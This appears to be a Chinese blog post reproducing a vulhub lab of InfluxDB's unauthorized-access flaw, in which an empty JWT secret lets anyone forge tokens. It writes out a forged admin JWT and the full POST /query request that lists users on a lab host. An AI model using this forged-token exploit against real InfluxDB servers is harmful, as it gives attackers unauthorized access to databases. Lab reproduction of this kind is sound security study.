vulhub漏洞复现-InfluxDB 未授权访问漏洞复现

InfluxDB

InfluxDB(时序数据库),常用的一种使用场景:监控数据统计。每毫秒记录一下电脑内存的使用情况,然后就可以根据统计的数据,利用图形化界面(InfluxDB V1一般配合Grafana)制作内存使用情况的折线图;可以理解为按时间记录一些数据(常用的监控数据、埋点统计数据等),然后制作图表做统计;

思路

InfluxDB 是一个开源分布式时序、时间和指标数据库,使用 Go 语言编写,无需外部依赖。其设计目标是实现分布式和水平伸缩扩展,是 InfluxData的核心产品。其使用 jwt 作为鉴权方式。在用户开启了认证,但未设置参数 shared-secret 的情况下,jwt 的认证密钥为空字符串,此时攻击者可以伪造任意用户身份在 InfluxDB 中执行SQL语句。

漏洞复现

docker部署环境后访问:8086/debug/vars可查看系统服务信息

在这里插入图片描述
进入到/query查询功能会提示需要登录,访问时抓包
我们借助https://jwt.io/来生成jwt token:

{
    
    
  "alg": "HS256",
  "typ": "JWT"
}
{
    
    
  "username": "admin",
  "exp": 1676346267
}

admin是一个已经存在的用户,exp是一个时间戳,代表着这个token的过期时间,你需要设置为一个未来的时间戳。添加到请求头中:

POST /query HTTP/1.1
Host: 192.168.64.128:8086
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjc2MzQ2MjY3fQ.NPhb55F0tpsp5X5vcN_IkAAGDfNzV5BA6M4AThhxz6A
Content-Length: 22
Content-Type: application/x-www-form-urlencoded

db=sample&q=show+users

POST 请求:db=sample&q=show users,得到用户信息回显。

在这里插入图片描述

おすすめ

転載: blog.csdn.net/weixin_54648419/article/details/121125184